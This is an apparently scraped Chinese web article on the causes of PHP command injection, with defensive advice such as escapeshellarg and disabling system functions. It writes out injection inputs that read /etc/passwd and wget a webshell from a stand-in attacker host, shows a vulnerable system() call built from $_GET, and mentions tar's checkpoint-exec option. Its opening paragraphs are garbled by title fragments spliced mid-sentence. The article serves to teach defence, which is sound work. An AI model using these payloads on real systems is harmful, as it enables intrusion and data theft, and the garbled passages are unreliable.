您的当前位置:首页 > 知识 > PHP命令注入攻击漏洞形成的主要原因 正文

PHP命令注入攻击漏洞形成的主要原因

时间:2026-10-17 04:36:36 来源:网络整理 编辑:知识

核心提示

一个电商网站的订单查询接口,参数是?order_id=1001。攻击者把它改成?order_id=1001;cat /etc/passwd,服务器返回了系统用户列表。这就是PHP命令注入最典型的现场—

一个电商网站的令注订单查询接口,参数是入攻?order_id=1001。攻击者把它改成?击漏order_id=1001;cat /etc/passwd,服务器返回了系统用户列表。洞形这就是主原PHP命令注入最典型的现场——用户输入直接拼进了系统命令,分号后面那截被Shell当成了第二条命令。令注

问题的入攻根子在PHP和操作系统之间的那层交互。PHP提供了一批执行外部程序的击漏函数,exec()、洞形system()、主原shell_exec()、令注passthru()、入攻popen(),击漏还有反引号操作符。洞形这些函数本身没毛病,主原它们的设计目的就是让PHP调用系统命令。麻烦出在开发者怎么用它们。

我见过一段处理图片缩放的代码,大概是这个意思:

$cmd = "convert " . $_GET['file'] . " -resize 200x200 " . $_GET['output']; system($cmd);

开发者觉得传个文件名能出什么事?但攻击者传进来的file参数可以是a.jpg; wget http://evil.com/shell.php -O shell.php。一条命令变成了三条。服务器上多了一个webshell。

这类漏洞反复出现的核心原因是:字符串拼接。PHP的字符串操作太顺手了,.连接符让开发者习惯性地把变量往命令里塞。escapeshellarg()和escapeshellcmd()两个函数就是干这个防护的,但使用率低得惊人。很多开发者甚至不知道它们存在。escapeshellarg给参数加单引号并转义引号,escapeshellcmd转义Shell元字符,用对了确实能挡住大部分注入。问题是,总有人在拼接之后才想起来过滤,或者过滤规则写漏了某个字符。

另一个容易被忽略的入口是参数数量本身。有些命令的参数个数不固定,比如find、tar,攻击者可以通过注入额外参数改变命令行为。即使没有分号、管道符这些明显的命令分隔符,单纯增加参数也可能触发意外操作。比如tar的--checkpoint-action=exec选项,能在解压过程中执行任意命令。这类攻击不需要Shell元字符,纯粹的参数注入就够了。

环境变量也是条路子。PHP的putenv()或者继承来的环境变量如果被污染,某些命令的行为会跟着变。比如LD_PRELOAD、PATH。这种情况在共享主机或者容器环境里更值得关注,但实际案例比字符串拼接少得多。

还有个现实问题:很多老代码跑在PHP 5.x上,那时候disable_functions配置不严,system、exec随便用。运维图省事不关这些函数,开发图省事直接拼字符串,两边一凑合,漏洞就出来了。PHP 7之后性能好了,但安全习惯的更新比版本升级慢得多。

想防住其实不复杂。能用PHP原生函数实现的就别调系统命令——图片处理用GD或Imagick,压缩解压用ZipArchive,文件操作用SPL。实在要调外部程序,参数必须过escapeshellarg(),而且每个参数单独转义,别拼接完了再处理。命令路径写绝对路径,别依赖PATH环境变量。生产环境把disable_functions配好,system、exec这些能关就关。

说到底,命令注入不是PHP语言本身的漏洞,是开发者把用户输入当成了可信数据。这个信任边界一旦划错,Shell就会替攻击者执行任何他想执行的命令。

下一篇:nmap怎么使用